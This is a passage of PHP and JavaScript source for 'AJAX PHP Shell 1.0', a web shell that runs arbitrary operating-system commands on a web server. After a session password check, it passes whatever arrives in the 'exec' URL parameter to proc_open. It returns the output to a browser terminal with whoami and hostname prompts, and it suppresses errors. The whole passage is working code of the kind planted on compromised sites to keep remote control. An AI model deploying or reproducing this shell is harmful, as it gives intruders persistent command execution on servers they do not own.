'; echo ''; echo ''.htmlspecialchars(''.exec('whoami').'@'.exec('hostname').':~/ >% ').''; echo 'login_success'; echo ''; } else { $_SESSION['logged_in'] = false; echo ''; echo ''; echo ''.htmlspecialchars(''.exec('whoami').'@'.exec('hostname').':~/ >% ').''; echo 'login_fail'; echo ''; } } function exe($cmd) { header("Content-type: text/xml"); $command = urldecode($cmd); if($_SESSION['logged_in'] == true) { $output = ""; $oldcwd = $_SESSION['cwd']; if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $command)) { $_SESSION['cwd'] = realpath($ini['settings']['home-directory']); } elseif (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $command, $regs)) { /* The current command is a 'cd' command which we have to handle * as an internal shell command. */ if ($regs[1]{0} == '/') { /* Absolute path, we use it unchanged. */ $new_dir = $regs[1]; } else { /* Relative path, we append it to the current working * directory. */ $new_dir = $_SESSION['cwd'] . '/' . $regs[1]; } /* Transform '/./' into '/' */ while (strpos($new_dir, '/./') !== false) $new_dir = str_replace('/./', '/', $new_dir); /* Transform '//' into '/' */ while (strpos($new_dir, '//') !== false) $new_dir = str_replace('//', '/', $new_dir); /* Transform 'x/..' into '' */ while (preg_match('|/\.\.(?!\.)|', $new_dir)) $new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir); if ($new_dir == '') $new_dir = '/'; /* Try to change directory. */ if (@chdir($new_dir)) { $_SESSION['cwd'] = $new_dir; $output .= "success"; } else { $output .= "cd: could not change to: $new_dir"; } } elseif (trim($command) == 'exit') { session_destroy(); } elseif (trim($command) == 'clear') { $output .= "clear"; } else { /* The command is not an internal command, so we execute it after * changing the directory and save the output. */ chdir($_SESSION['cwd']); // We canot use putenv() in safe mode. /* Alias expansion. */ $length = strcspn($command, " \t"); $token = substr($command, 0, $length); $io = array(); $p = proc_open($command, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io); /* Read output sent to stdout. */ while (!feof($io[1])) { $output .= htmlspecialchars(fgets($io[1]), ENT_COMPAT, 'UTF-8'); } /* Read output sent to stderr. */ $neger = ""; while (!feof($io[2])) { $output .= htmlspecialchars(fgets($io[2]), ENT_COMPAT, 'UTF-8'); } fclose($io[1]); fclose($io[2]); proc_close($p); } if(isset($_SESSION['cwd'])) { $cwd = $_SESSION['cwd']; } else { $cwd = "~/"; } echo ''; echo ''; echo ''.htmlspecialchars(''.exec('whoami').'@'.exec('hostname').':'.basename($cwd).'/ >% ').''; echo ''.htmlspecialchars(''.exec('whoami').'@'.exec('hostname').':'.basename($oldcwd).'/ >% ').''; echo ''.$command.''; echo ''.$cwd.''; echo ''.exec('whoami').''; echo ''.exec('hostname').''; echo ''.htmlspecialchars($output).''; echo ''; } else { $this->login($command); } } } class JS { function main() { echo ' var xmlhttp; function ajax() { xmlhttp=null; xmlhttp=new XMLHttpRequest(); var input=document.getElementById(\'inputform\').value; var url="phpshell.php?f=AJAX&exec="+encodeURI(input); if (xmlhttp!=null) { xmlhttp.onreadystatechange=state_Change; xmlhttp.open("GET",url,true); xmlhttp.send(null); } } function state_Change() { if (xmlhttp.readyState==4) { if (xmlhttp.status==200) { var xmlDoc=xmlhttp.responseXML.documentElement; var out = xmlDoc.getElementsByTagName("output")[0].childNodes[0].nodeValue if (out == "clear") { document.getElementById(\'output\').innerHTML = ""; document.getElementById(\'inputform\').value = null; document.getElementById(\'inputform\').focus(); } else if (out == "success") { var ps1 = xmlDoc.getElementsByTagName("ps1")[0].childNodes[0].nodeValue; var ps2 = xmlDoc.getElementsByTagName("ps2")[0].childNodes[0].nodeValue; var cmd = xmlDoc.getElementsByTagName("command")[0].childNodes[0].nodeValue; var output = document.getElementById(\'output\').innerHTML;; output = output + ps2 + cmd; document.getElementById(\'ps1\').innerHTML = ps1; document.getElementById(\'output\').innerHTML = output; document.getElementById(\'inputform\').value = null; document.getElementById(\'inputform\').focus(); } else if (out == "login_success") { document.getElementById(\'output\').innerHTML = "ajaxshell\'s password:
success
"; var ps1 = xmlDoc.getElementsByTagName("ps1")[0].childNodes[0].nodeValue; document.getElementById(\'ps1\').innerHTML = ps1; document.getElementById(\'inputform\').type = "text"; document.getElementById(\'inputform\').value = null; document.getElementById(\'inputform\').focus() } else if (out == "login_fail") { document.getElementById(\'output\').innerHTML = document.getElementById(\'output\').innerHTML+"ajaxshell\'s password:
fail
"; var ps1 = "ajaxshell\'s password:"; document.getElementById(\'ps1\').innerHTML = ps1; document.getElementById(\'inputform\').value = null; document.getElementById(\'inputform\').focus() } else { var xmlDoc=xmlhttp.responseXML.documentElement; // append output var ps1 = xmlDoc.getElementsByTagName("ps1")[0].childNodes[0].nodeValue; var ps2 = xmlDoc.getElementsByTagName("ps2")[0].childNodes[0].nodeValue; var cmd = xmlDoc.getElementsByTagName("command")[0].childNodes[0].nodeValue; var output = document.getElementById(\'output\').innerHTML; output = output + "
" + ps2 + cmd + "
"+ out.replace(/\\n/g, "
"); document.getElementById(\'ps1\').innerHTML = ps1; document.getElementById(\'output\').innerHTML = output; document.getElementById(\'inputform\').value = null; document.getElementById(\'inputform\').focus() } } } } function append(response) { var output = document.getElementById(\'output\').innerHTML; var ps1 = document.getElementById(\'ps1\').innerHTML; var input = document.getElementById(\'inputform\').value; output = output + "
" + ps1 + input + "
" + response; document.getElementById(\'output\').innerHTML = output; document.getElementById(\'inputform\').value = null; } '; } } class GUI { function main() { echo ' AJAX PHP Shell 1.0
AJAX PHP Shell 1.0
Welcome to Ajax PHP SHELL 1.0
ajaxshell\'s password:
'; } } error_reporting(0); session_start(); if(!isset($_GET['f'])) { session_destroy(); $asd = new GUI(); $asd->main(); } else if($_GET['f'] == "JS") { $asd = new JS(); $asd->main(); } else if($_GET['f'] == "AJAX") { $asd = new AJAX(); $asd->exe($_GET['exec']); } ?>